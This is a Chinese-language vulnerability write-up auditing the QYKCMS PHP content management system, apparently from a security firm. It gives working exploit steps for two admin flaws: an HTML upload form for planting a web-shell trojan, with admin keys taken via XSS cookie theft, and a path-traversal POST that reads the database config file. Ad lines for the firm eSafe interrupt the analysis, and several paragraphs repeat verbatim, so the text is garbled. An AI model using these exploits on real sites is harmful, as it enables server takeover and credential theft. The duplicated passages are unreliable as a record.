青雲客網站管理系統(QYKCMS)是青雲客開發的一款基於PHP+MySql架構的輕量級智
能建站系統。在T00ls看到兩篇QYKCMS的代碼審計文章,也下載了一套回來測試,發現了兩個
後台漏洞,並沒有跟前面的漏洞重複,分享一下網站安全檢測以及源代碼的安全審計思路。
網站漏洞代碼分析:
1、漏洞文件位置:/admin_system/include/lib/upfile.php 第24-69行:
這段代碼根據types的值進行操作,可以發現當$types=none的時候(注意看紅色代碼部分),
獲取文件名後綴,拼接成完整路徑,然後將文件上傳到主機,並沒有對文件類型進行過濾,導
致程序在實現上存在任意文件上傳漏洞,攻擊者可以通過上傳腳本木馬,控制主機權限。esafe
安全公司是一家專注於:網站安全、主機安全、網站安全檢測、網站漏洞修復,滲透測試,安全
服務於一體的網絡安全服務提供商。
獲取文件名後綴,拼接成完整路徑,然後將文件上傳到主機,並沒有對文件類型進行過濾,導
致程序在實現上存在任意文件上傳漏洞,攻擊者可以通過上傳腳本木馬,控制主機權限。esafe
安全公司是一家專注於:網站安全、主機安全、網站安全檢測、網站漏洞修復,滲透測試,安全
服務於一體的網絡安全服務提供商。
網站漏洞利用:
1、構造Form表單,key可通過XSS獲取管理員COOKIE得到:
1. <form enctype="multipart/form-data" action="http://127.0.0.1/admin_system/api.php?admin=
admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">
admin&key=15bc30cb5bfc1775c4733c9558fded91&log=upfile&types=none" method="post">
2. Upload a new file:<br>
3. <input type="file" name="file" size="50"><br>
4. <input type="submit" value="Upload">
5. </form>
2、成功上傳腳本木馬,並回顯上傳路徑。
任意文件讀取漏洞詳情
網站代碼分析:
1、漏洞文件位置:/admin_system/include/show/template.php 第1-22行:
這段代碼中接收path參數,然後進行轉碼處理,注意看紅色代碼部分,接著判斷是否是一個目錄,
然後帶入file_get_contents函數中執行,可以看到path參數並未進行任何過濾或處理,導致程序
在實現上存在任意文件讀取漏洞,可以讀取網站任意文件,攻擊者可利用該漏洞獲取敏感信息。
eSafe白帽資安網公司是一家專注於:網站安全、主機安全、網站安全檢測、網站漏洞修復,滲透測試,安
全服務於一體的網絡安全服務提供商。
然後帶入file_get_contents函數中執行,可以看到path參數並未進行任何過濾或處理,導致程序
在實現上存在任意文件讀取漏洞,可以讀取網站任意文件,攻擊者可利用該漏洞獲取敏感信息。
eSafe白帽資安網公司是一家專注於:網站安全、主機安全、網站安全檢測、網站漏洞修復,滲透測試,安
全服務於一體的網絡安全服務提供商。
任意文件讀取漏洞利用:
QYKCMS默認數據庫配置文件存放在\include\config_db.php中,我們構造一個路徑去讀取數據庫敏
感信息,成功讀取配置文件信息。
感信息,成功讀取配置文件信息。
http://127.0.0.1/admin_system/api.php
POST: admin=admin&key=682b82f8dc3b753d6eb9ceafd5a64301&log=show&desc=template&path=../include/config_db.php